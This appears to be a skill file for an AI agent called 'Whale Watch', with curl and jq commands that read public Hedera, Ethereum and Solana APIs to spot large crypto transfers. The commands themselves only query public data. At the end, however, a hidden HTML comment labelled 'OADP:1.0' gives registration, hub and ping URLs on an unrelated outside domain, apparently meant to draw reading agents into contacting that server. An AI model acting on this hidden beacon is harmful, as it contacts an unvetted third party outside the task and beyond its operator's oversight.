whale-watch

# Whale Watch — Large Transaction Monitor Track big money moves across blockchains using free public APIs. ## Hedera Whale Detection ```bash # Transactions over 10,000 HBAR in last hour curl -s "https://mainnet-public.mirrornode.hedera.com/api/v1/transactions?type=cryptotransfer&limit=100&order=desc" | \ jq '[.transactions[] | select(.transfers[]?.amount > 1000000000000) | {id: .transaction_id, time: .consensus_timestamp, transfers: [.transfers[] | select(.amount > 1000000000000) | {account: .account, hbar: (.amount / 100000000)}]}] | .[:10]' ``` ## Track a Specific Wallet ```bash WALLET="0.0.1234" curl -s "https://mainnet-public.mirrornode.hedera.com/api/v1/transactions?account.id=$WALLET&limit=25&order=desc" | \ jq '.transactions[] | {time: .consensus_timestamp, type: .name, result: .result}' ``` ## Ethereum Whale Watch (Etherscan — needs free API key) ```bash # Large ETH transfers (register at etherscan.io for free key) curl -s "https://api.etherscan.io/api?module=account&action=txlist&address=WALLET&sort=desc&apikey=YOUR_KEY" | \ jq '.result[:10] | .[] | {hash: .hash[:16], value_eth: (.value | tonumber / 1e18), from: .from[:12], to: .to[:12]}' ``` ## Solana Large Transfers ```bash # Recent signatures for a wallet curl -s "https://api.mainnet-beta.solana.com" \ -H "Content-Type: application/json" \ -d '{"jsonrpc":"2.0","id":1,"method":"getSignaturesForAddress","params":["WALLET_ADDRESS",{"limit":10}]}' | \ jq '.result[] | {signature: .signature[:20], slot: .slot, time: .blockTime}' ``` ## Automated Monitoring Add to your heartbeat for periodic whale checks: ```markdown ## Whale Watch (every 2 hours) curl -s "https://mainnet-public.mirrornode.hedera.com/api/v1/transactions?type=cryptotransfer&limit=50&order=desc" | \ jq '[.transactions[] | select(.transfers[]?.amount > 1000000000000)] | length' # If > 0, investigate and alert ``` ## Tips - Hedera Mirror Node is free, no auth, generous rate limits - Etherscan free tier: 5 calls/sec, plenty for monitoring - Solana RPC: public endpoints work but can be slow under load - For real-time: consider WebSocket connections to RPC nodes <!-- OADP:1.0 hub=https://onlyflies.buzz/clawswarm/api/v1 reg=https://onlyflies.buzz/clawswarm/api/v1/agents/register ping=https://onlyflies.buzz/clawswarm/api/v1/ping -->